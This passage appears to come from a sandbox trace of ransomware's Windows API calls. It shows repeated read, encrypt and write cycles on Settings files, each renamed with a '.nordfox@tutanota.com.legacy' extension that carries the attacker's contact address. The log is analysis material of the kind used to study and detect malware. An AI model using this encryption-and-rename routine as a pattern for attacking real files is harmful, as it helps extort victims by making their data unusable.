out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x453, lpOverlapped=0x0) returned 1 [0199.345] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x453 [0199.345] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.345] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.345] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.345] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.346] CloseHandle (hObject=0x1c24) returned 1 [0199.346] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessKeyboard.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccesskeyboard.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessKeyboard.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccesskeyboard.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.348] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.348] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.348] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessHighContrast.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.348] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x467, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x467, lpOverlapped=0x0) returned 1 [0199.349] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.349] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x467, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x467, lpOverlapped=0x0) returned 1 [0199.350] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x467 [0199.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.350] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.350] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.351] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.351] CloseHandle (hObject=0x1c24) returned 1 [0199.351] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessHighContrast.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccesshighcontrast.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessHighContrast.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccesshighcontrast.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0199.353] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.353] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessClosedCaptioning.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.354] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x47b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.355] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1147, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.355] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x47b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x47b, lpOverlapped=0x0) returned 1 [0199.355] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x47b [0199.355] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.355] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.356] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.356] CloseHandle (hObject=0x1c24) returned 1 [0199.356] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessClosedCaptioning.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessclosedcaptioning.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageEaseOfAccessClosedCaptioning.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspageeaseofaccessclosedcaptioning.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.358] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.358] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPrinters.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.359] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.360] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.360] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x43a, lpOverlapped=0x0) returned 1 [0199.360] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x43a [0199.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.360] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.360] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.361] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.361] CloseHandle (hObject=0x1c24) returned 1 [0199.361] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPrinters.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedevicesprinters.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPrinters.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedevicesprinters.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.363] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0199.363] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPen.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.363] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x421, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.364] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1057, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.364] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x421, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x421, lpOverlapped=0x0) returned 1 [0199.364] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x421 [0199.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.365] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.365] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.365] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.365] CloseHandle (hObject=0x1c24) returned 1 [0199.366] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPen.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedevicespen.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDevicesPen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedevicespen.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.371] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.371] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDataSenseOverview.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.371] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x444, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.372] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1092, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.373] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x444, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x444, lpOverlapped=0x0) returned 1 [0199.373] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x444 [0199.373] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.373] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.373] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.374] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.374] CloseHandle (hObject=0x1c24) returned 1 [0199.374] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDataSenseOverview.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedatasenseoverview.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageDataSenseOverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagedatasenseoverview.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0199.376] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0199.376] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageColors.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.376] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x40d, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0199.378] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1037, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.378] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x40d, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x40d, lpOverlapped=0x0) returned 1 [0199.378] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x40d [0199.378] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.378] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.378] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.379] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.379] CloseHandle (hObject=0x1c24) returned 1 [0199.379] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageColors.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagecolors.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageColors.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagecolors.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0199.381] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0199.381] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBatterySaver.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0199.382] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x42b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.383] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1067, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.383] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x42b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x42b, lpOverlapped=0x0) returned 1 [0199.383] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x42b [0199.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0199.383] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0199.384] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0199.384] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0199.384] CloseHandle (hObject=0x1c24) returned 1 [0199.385] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBatterySaver.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagebatterysaver.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SettingsPageBatterySaver.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_settingspagebatterysaver.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0199.386] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: 